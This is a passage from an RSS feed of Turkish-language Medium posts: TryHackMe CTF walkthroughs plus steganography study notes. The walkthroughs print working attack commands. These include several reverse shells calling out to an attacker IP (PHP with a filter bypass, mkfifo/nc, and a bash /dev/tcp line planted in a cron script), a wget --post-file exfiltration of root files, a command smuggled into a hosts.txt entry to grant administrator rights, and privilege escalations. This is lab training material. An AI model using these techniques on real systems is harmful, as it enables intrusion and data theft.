evil-winrm</strong> ile shell’e de ulaşmanız mümkün. Psexec, wmiexec, smbexec ile de oturum açmayı deneyebilirsiniz ama çalışmayabiliyor.</p><p><strong><em>evil-winrm -u buse -p şifre -i windcorp.thm</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*mODn5cA6ASqs6lTVFr3R2g.png" /></figure><h4><strong>FLAG 3: net user</strong></h4><p><strong><em>“net user buse” </em></strong>ve <strong><em>“whoami /groups”</em></strong> komutları ile hangi grup yetkilerine sahibiz bir bakalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*WVPDTwwZqkAmaPJQ_CvIzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pI_LXyg7ueY1JR2Lvbzz_Q.png" /></figure><p><em>BUILTIN\Account Operators</em>: Bu gruptakiler yeni kullanıcı ekleyebilecekleri gibi standart kullanıcıların şifrelerini değiştirebilir. Aklımızda bulunsun.</p><p>Kendimize bir user ekleyelim, daha sonra işimize yarayacak.</p><p><strong><em>net user KULLANICI ŞİFRE /add</em></strong></p><p><strong><em>net user stormfly Sifre1234! /add</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*OfZbjTs7L8oXu5V4RiPKIw.png" /></figure><p>Biraz dolaştıktan sonra C’de scripts diye bir klasör olduğunu, içinde de bir powershell scriptinin bulunduğunu fark ediyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*jQiQW89tnH2bDFHs1QPa7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*nKkRjVG769-ypcaRDWjeTg.png" /></figure><p>Scripti incelediğimizde “<em>brittanycr</em>” diye bir user görüyoruz. Hatta bu user’ın home dizininde <em>hosts.txt </em>diye bir dosyanın içeriğine erişilip Admin olarak çalıştırılan bir işlem ile ilgili bir kontrol gerçekleşiyor diyebiliriz.</p><p>Madem buse olarak başkalarının şifrelerini değiştirebiliyoruz, brittanycr’nin şifresini değiştirelim.</p><p><strong><em>net user brittanycr y3nisifre! /domain</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*sUsvyMbonza13fSsBVighw.png" /></figure><p>Şifre değiştiğine göre brittanycr olarak sisteme erişelim, hosts.txt dosyasına bir ekleme yapalım. Önceden oluşturduğumuz kullanıcıyı Administrator grubuna ekleyebiliriz.</p><p>evil-winrm ve remmina izin vermedi, smbclient ile bu hosts.txt’yi alabiliriz, düzenleyip tekrar yerine yollayabiliriz.</p><p><strong><em>smbclient //windcorp.thm/Users/ -U brittanycr — password y3nisifre!</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Fq9KFzNYvFmW7_9MH3Rrfw.png" /></figure><p><strong><em>get hosts.txt</em></strong></p><p>hosts.txt dosyasını kendi lokalimizde açıp içindekilere bir ekleme yapalım (içinde google.com ve cisco.com domainleri yazıyordu sadece) ve önceden oluşturduğumuz kullanıcımızı Administrators grubuna atayacak şekilde 1 satır komut yazalım:</p><p><strong><em>selam.com; net localgroup Administrators stormfly /add</em></strong></p><p>put hosts.txt diyerek yerine koyalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*AvAhlAWgPZJ3WE1MQTtLgQ.png" /></figure><p>Artık deneme zamanı: kendi oluşturduğumuz user ile giriş yapmayı deneyelim.</p><p><strong><em>evil-winrm -u stormfly -p Sifre1234! -i windcorp.thm</em></strong></p><p>Olduysa, artık Administrator’un masaüstünden Flag3&#39;ümüzü çekelim.</p><p><strong><em>cd c:\users\administrator\desktop</em></strong></p><p><strong><em>type Flag3.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*SxtqVFWRJ4dckBFM40f7-A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=edbe54bac2cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Steganografi Çalışma Notları]]></title>
            <link>https://cesidt.medium.com/steganografi-%C3%A7al%C4%B1%C5%9Fma-notlar%C4%B1-5f4cc420e30?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f4cc420e30</guid>
            <category><![CDATA[steganography]]></category>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Sat, 05 Dec 2020 11:24:32 GMT</pubDate>
            <atom:updated>2020-12-05T11:27:06.659Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*XFx-ztjfLtfG58Tq.jpg" /></figure><h4><strong>Tool Listesi</strong></h4><blockquote>stegoveritas<br>steghide-crack<br>stegcracker<br>exiftool: resim verisi inceleme<br>steghide: resimden metin çıkarma<br>sonic visualizer: ses içinde veri, fotoğraf, yazı vs. inceleme<br>binwalk<br>hexeditor<br>zsteg: pngler için önemli, diğerleri algılamıyor!<br>strings<br>outguess</blockquote><h4>Yüklemeler</h4><blockquote>apt install steghide<br>pip3 install stegcracker<br>pip3 install stegoveritas <br>stegoveritas_install_deps</blockquote><blockquote>apt install python-pip<br>apt install python3-pip</blockquote><blockquote>gem install zsteg<br>apt install exiftool</blockquote><blockquote>git clone <a href="https://github.com/crorvick/outguess.git">https://github.com/crorvick/outguess.git</a><br>./configure &amp;&amp; make</blockquote><blockquote>git clone <a href="https://github.com/Paradoxis/StegCracker.git">https://github.com/Paradoxis/StegCracker.git</a></blockquote><blockquote><a href="https://www.sonicvisualiser.org/download.html">https://www.sonicvisualiser.org/download.html</a></blockquote><blockquote>apt-get install binutils<br>apt install binwalk</blockquote><h4>Bazı klasik kullanımlar</h4><blockquote>Fotoğraftaki gizli veriyi çıkarma;<br>steghide — extract -sf image.jpeg</blockquote><blockquote>iç içe 2 fotoğrafı ayırma; <br>binwalk — dd ‘.*’ image.jpeg</blockquote><blockquote>Daha güçlüsü;<br>./outguess -r /root/Desktop/8S8OaQw.jpeg /root/Desktop/output</blockquote><blockquote>qrcode inceleme:<br><a href="https://zxing.org/w/decode.jspx">https://zxing.org/w/decode.jspx</a></blockquote><h4>Şifreleme çözümde yardımcı siteler</h4><blockquote><a href="https://cryptii.com/pipes/vigenere-cipher">https://cryptii.com/pipes/vigenere-cipher</a></blockquote><blockquote><a href="http://icyberchef.com/">http://icyberchef.com/</a></blockquote><blockquote><a href="https://futureboy.us/stegano/decinput.html">https://futureboy.us/stegano/decinput.html</a></blockquote><blockquote>İncelenecek Md5 çıktısı:<br>md5sum [file]</blockquote><h4>Gizli mesajlaşma</h4><blockquote>gpg -c data.txt -&gt; şifreler.<br>gpg -d data.txt.gpg -&gt; decrypt eder.</blockquote><h4>Çalışma Kutu ve WriteUpları</h4><blockquote><a href="https://tryhackme.com/room/ccstego">https://tryhackme.com/room/ccstego</a></blockquote><blockquote><a href="https://hex-men.tech/cc-stego/">https://hex-men.tech/cc-stego/</a></blockquote><blockquote><a href="https://blog.tryhackme.com/ho-ho/">https://blog.tryhackme.com/ho-ho/</a></blockquote><blockquote><a href="https://cesidt.medium.com/tryhackme-easy-peasy-ctf-writeup-d21b474258f2">https://cesidt.medium.com/tryhackme-easy-peasy-ctf-writeup-d21b474258f2</a></blockquote><blockquote><a href="https://cesidt.medium.com/thm-chill-hack-fce6cbde44d2">https://cesidt.medium.com/thm-chill-hack-fce6cbde44d2</a></blockquote><h4>Kısa ve öz bilgiler</h4><blockquote><a href="https://0xrick.github.io/lists/stego/">https://0xrick.github.io/lists/stego/</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f4cc420e30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Chill Hack]]></title>
            <link>https://cesidt.medium.com/thm-chill-hack-fce6cbde44d2?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/fce6cbde44d2</guid>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Sat, 28 Nov 2020 15:43:05 GMT</pubDate>
            <atom:updated>2020-11-28T15:51:57.316Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Chill Hack</h3><p><a href="https://tryhackme.com/room/chillhack">Chill Hack</a></p><p><strong>nmap -sC -sV -T4 IP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*9wn-n3t2czGROVxrv8LAbQ.png" /></figure><p><strong>ftp IP</strong></p><p>cat note.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zT_laVnCEzdLxoUye8VYsg.png" /></figure><p><strong>dirsearch -u IP -e php,html -f -x 400,403</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*6-uBIJcaYIF1I5D8DfWQQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*w4Fq56B1espQcbqeAwpFOA.png" /></figure><p>Not: Site reverse shell almak için filtrelenmiş. Nc, php, python gibi kelimeleri kabul etmiyor. Nasıl bypass ettik burayı? WebApp dehasına güvendiğim eşim Emre Köseoğlu bana burada güzel bir yol gösterdi. Kendisi bash scriptingde kullanılan variable atamasına php’yi thm olarak atayıp o şekilde komut çalıştırma fikrini uyguladı. Sonuç olarak şöyle bir komut yarattı:</p><p><strong>thm=’php’ &amp;&amp; $thm -r ‘$sock=fsockopen(“KALI_IP”,1234);exec(“/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3”);’</strong></p><p>Öncesinde elbette dinlemeye geçtik sonra komutu execute ettik ve shell aldık:</p><p><strong>nc -lvnp 1234</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/141/1*uu4R07-D55NNtVyMRDI0GQ.png" /><figcaption>Müthiş pislik bakışlı kedi yastığımız “Hashcat”</figcaption></figure><p>tty shell spawn:</p><p><strong>/bin/bash -i</strong></p><p>Gözümüze ilişen bazı dosyalara baktık:</p><p>cd /var/www/files</p><p>cat index.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*kOwMnpSStkAQ8tpomyAZSg.png" /><figcaption>mysql çalıştırmayı denedik, maalesef olmadı.</figcaption></figure><p>cd /var/www/files</p><p>cd images</p><p>ls -la</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*RVbNjLQ5qKINBsdoPRC5tA.png" /></figure><p>Herkes SSH alıyor, biz bir değişiklik yapıp FTP ile bunları alalım. Şekil olsun.</p><p>Kali’de FTP’mizi kuralım:</p><p><strong>pip install pyftpdlib</strong></p><p><strong>python3 -m pyftpdlib -p 21 — write</strong></p><p>Makine’den ftp ile anonymous girişi yapalım ve bu dosyaları FTP’ye put komutu ile atalım:</p><p><strong>ftp &lt;KALI_IP&gt;</strong></p><p><strong>anonymous</strong></p><p><strong>anonymous</strong></p><p><strong>put dosya_adi.gif</strong></p><p><strong>put dosya_adi.jpg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*tMCW15N5T7z9Ffh5oY3WZw.png" /></figure><p>Stego severiz! Steghide ile resmin ardında saklanan bir şey var mı öğrenelim:</p><p><strong>apt install steghide</strong></p><p><strong>steghide — extract -sf hacker.jpg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*b17ZlAAC-ZiOsGBLl_OEeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*U-JOJ-bvq1zUVV1q5htNYg.png" /></figure><p>Şifre istiyor. Bunu brute ile kıralım:</p><p>zip2john backup.zip &gt; /root/Desktop/backup</p><p>john backup — wordlist=/root/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zMhNVhpkXpGlku1nvEkFdA.png" /></figure><p>Çıkan pass1word’ü zip’i açmak için kullandık ve artık source_code.php’yi okuyabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*2nAzz6hV86PZNtwgFM5vXA.png" /></figure><p>base64 olan şifreyi decode edelim.</p><p>echo “IWQwbnRLbjB3bVlwQHNzdzByZA==” | base64 -d</p><p>Welcome Anurodh dediğine göre user’ımız da o. SSH ile girelim bakalım.</p><p>ssh anurodh@10.10.81.238</p><p><strong>id</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*UiaqlSM0J22BU0QZKxnfHA.png" /></figure><p>Docker mı? Hemen gtfobins’e koşalım:</p><p><a href="https://gtfobins.github.io/gtfobins/docker/">https://gtfobins.github.io/gtfobins/docker/</a></p><p>docker run -v /:/mnt — rm -it alpine chroot /mnt sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*lKLw6KcBwHnMiOqxsF70dw.png" /></figure><p>Rootuz. Artık user ve root flaglerimizi toplama zamanı:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*6trfYGrnfnzR2u8QDu0ckQ.png" /></figure><p>cd root</p><p>cat proof.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Bc-Rm8I2-48g3hjIphzLLw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fce6cbde44d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — WGel CTF(wget privesc)]]></title>
            <link>https://cesidt.medium.com/thm-wgel-ctf-wget-privesc-ca15bf65295b?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca15bf65295b</guid>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Mon, 23 Nov 2020 06:50:19 GMT</pubDate>
            <atom:updated>2020-11-23T06:50:19.608Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — WGel CTF(wget privesc)</h3><p><a href="https://tryhackme.com/room/wgelctf">https://tryhackme.com/room/wgelctf</a></p><p><a href="http://10.10.80.167/sitemap/.ssh/id_rsa">http://IP/sitemap/.ssh/id_rsa</a></p><p>chmod 600 id_rsa</p><p>ssh jessie@IP -i id_rsa</p><p>find -name “*user*” 2&gt; /dev/null</p><p>find -name “*flag*” 2&gt; /dev/null</p><p>sudo -l</p><p><em>User jessie may run the following commands on CorpOne:</em></p><p><em>(ALL : ALL) ALL</em></p><p><em>(root) NOPASSWD: /usr/bin/wget</em></p><p><a href="https://gtfobins.github.io/gtfobins/wget/#sudo">https://gtfobins.github.io/gtfobins/wget/#sudo</a></p><p>Upload edicez root.txt’yi, ondan dinlemeye geçelim ilk olarak:</p><p>nc -lvnp 4444</p><p>Zafiyetli makinede şunu çalıştırıp alalım:</p><p>sudo /usr/bin/wget — post-file=/root/root_flag.txt <a href="http://10.9.76.213:4444/">http://IP:4444</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*0JGAHQiSbpmJTu4a05eONw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca15bf65295b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Lazy Admin (Perl PrivEsc)]]></title>
            <link>https://cesidt.medium.com/thm-lazy-admin-perl-privesc-3326a40ed69?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/3326a40ed69</guid>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Mon, 23 Nov 2020 06:49:56 GMT</pubDate>
            <atom:updated>2020-11-23T06:49:56.754Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Lazy Admin (Perl PrivEsc)</h3><p>python3 dirsearch.py -u <a href="http://10.10.32.112/">http://I</a>P -e php,html -x 400,401,403</p><p>/content’te SweetRice kullanıldığını görüyoruz.</p><p>SweetRice 1.5.1 Arbitrary File Upload var exploit-db’de.</p><p>/inc/mysql_backup’u gösteriyor.</p><p>/content/inc/mysql_backup/ içinde;</p><p>“admin\\”;s:7:\\”manager\\”;s:6:\\”passwd\\”;s:32:\\”42f749ade7f9e195bf475f37a44cafcb\\”</p><p>Kısacası giriş bilgilerimiz; manager : Password123</p><p>Giriş yapalım:</p><p><a href="http://10.10.32.112/content/as/?type=media_center&amp;mode=upload">http://IP/content/as/?type=media_center&amp;mode=upload</a></p><p>reverseshell.phtml yüklüyoruz upload kısmından. Şu linkten alın ama php değil, phtml olsun. Neden? Çoğu filtre php’yi engelliyor, phtml çoğu CTF’te filtreye takılmıyor.</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php</a></p><p>Dinleme geç ve linke tıkla: nc -lvnp 1234</p><p><a href="http://10.10.32.112/content/attachment/reverseshell.phtml">http://IP/content/attachment/reverseshell.phtml</a></p><p>python -c ‘import pty; pty.spawn(“/bin/bash”)’</p><p>sudo -l</p><p><em>(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl</em></p><p><a href="https://gtfobins.github.io/gtfobins/perl/#sudo">https://gtfobins.github.io/gtfobins/perl/#sudo</a></p><p>Ne bu backup.pl?</p><p>cat /home/itguy/backup.pl</p><p><em>#!/usr/bin/perl</em></p><p><em>system(“sh”, “/etc/copy.sh”);</em></p><p>Peki neymiş bu copy.sh?</p><p>cat copy.sh</p><p><em>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.0.190 5554 &gt;/tmp/f</em></p><p>Değiştirelim:</p><p>echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc KALI_IP 8888 &gt;/tmp/f” &gt; /etc/copy.sh</p><p>Başka bir dinlemeye daha geçelim: nc -lvnp 8888</p><p>sudo /usr/bin/perl /home/itguy/backup.pl</p><p>root olarak nc’de shell verecek.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3326a40ed69" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server From Hell — GetCap (tar)]]></title>
            <link>https://cesidt.medium.com/server-from-hell-getcap-tar-38f919ba8bed?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/38f919ba8bed</guid>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Mon, 23 Nov 2020 06:46:37 GMT</pubDate>
            <atom:updated>2020-11-28T18:04:05.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Server From Hell — GetCap (tar)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*cfEfXyAqo3qQhdzFv3uSVQ.png" /><figcaption>Hint’te 1337. porttan başla diyor.</figcaption></figure><p>Portlarda banner aramamız gerektiğini söylüyor.</p><p>nmap -sV -v -p 1–100 — script=banner 10.10.135.23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*L9UuS-raHRFaXjLP-5XjPQ.png" /></figure><p>nmap -sV -v -p 12345 — script=banner 10.10.135.23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*RoRK-gD1qWpRo0-GmgZeFw.png" /></figure><p>NFS varmış. Bakalım gerçekten öyle miymiş?</p><p>showmount -e 10.10.135.23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*pFjeMP9W2JtpBJXIlYP6sQ.png" /><figcaption>Öyleymiş.</figcaption></figure><p>NFS’i Desktop’umuza mountlamak için;</p><p>mkdir /root/Desktop/mount</p><p>mount -t nfs 10.10.135.23:/home/nfs /root/Desktop/mount</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*By7t-satexz3S_s2fYSNNQ.png" /></figure><p>İçinde şifreli bir zip dosyamız var. Kıralım.</p><p>zip2john backup.zip &gt; /root/Desktop/backup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZkl1jew6ftmGcMUlyiu9g.png" /></figure><p>john backup — wordlist=rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*Pjq_yy58EURKLYVXgakMzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*yG_s2dXmENFy53upsizujA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*0v0SIuJMpeMUYMxC_PKMyA.png" /></figure><p>hades@hell diyor sonunda, demke ki “hades” kullanıcı adımız.</p><p>hint.txt -&gt; “2500–4500” demek ki bu portlara bakmak lazım:</p><p>nmap -p 2500–4500 — script=banner 10.10.135.23 -oA ~/Desktop/nmap.nmap</p><p>cat nmap.nmap | grep “OpenSSH”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*l2whOJ4bI9h39FNZGa6n6g.png" /><figcaption>SSH portu 3333&#39;teymiş.</figcaption></figure><p>ssh -i id_rsa hades@10.10.135.23 -p 3333</p><p>Karşımızda ruby bir sistem var. Şu satırı yazarak shell’imizi düzeltelim:</p><p>system(“/bin/bash”)</p><p>THM’de hint olarak “getcap” dendiği için hemen getcap incelemesi yapalım:</p><p>getcap -r / 2&gt;/dev/null</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*I1LVvK3lx4rP7Sg8l-Jd_Q.png" /><figcaption>/bin/tar’da capabilities yetkilerimiz var.</figcaption></figure><p>cd /tmp</p><p>/bin/tar -cvf root.tar /root/root.txt</p><p>/bin/tar -xvf root.tar</p><p>cat root/root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/1*GbyBlFsEtTwJou95zv96TA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38f919ba8bed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM — Anonymous (FTP)]]></title>
            <link>https://cesidt.medium.com/thm-anonymous-ftp-a2c8dd93c165?source=rss-923727341c10------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2c8dd93c165</guid>
            <dc:creator><![CDATA[Jessy De Taranto]]></dc:creator>
            <pubDate>Sat, 21 Nov 2020 21:38:01 GMT</pubDate>
            <atom:updated>2020-11-21T21:38:01.380Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — Anonymous (FTP)</h3><p>ftp &lt;IP&gt;</p><p>isim: anonymous</p><p>şifre: anonymous</p><p>binary &lt;çünkü ascii transfer sıkıntılı&gt;</p><p>ls</p><p>cd scripts</p><p>ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*oxxUfzdWbX9a5vq-Vae_Ow.png" /></figure><p>mget *</p><p>cat clean.sh → sürekli bir şeyler siliyor cronjob gibi, yazma yetkimiz de var. Buraya shell koyup FTP’ye geri atıcaz. İçine bunu koy sadece:</p><p>#!/bin/bash</p><p>bash -i &gt;&amp; /dev/tcp/KALI_IP/4444 0&gt;&amp;1</p><p>Dinlemeye geçelim: nc -lvnp 4444</p><p>Dosyayı koyalım:</p><p>ftp IP</p><p>cd scripts</p><p>put clean.sh</p><p>Shell geldi: cat user.txt</p><p>sudo -l</p><p>no tty diyor, tty shell alalım:</p><p>python -c ‘import pty; pty.spawn(“/bin/bash”)’</p><p>Şifre bilmediğimiz için yine sudo çalıştıramıyoruz.</p><p>SUID bakalım:</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null</p><p><a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p><p>/usr/bin/env için şunu yazalım ve root olalım;</p><p>/usr/bin/env /bin/bash -p</p><p>cat /root/root.txt</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2c8dd93c165" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>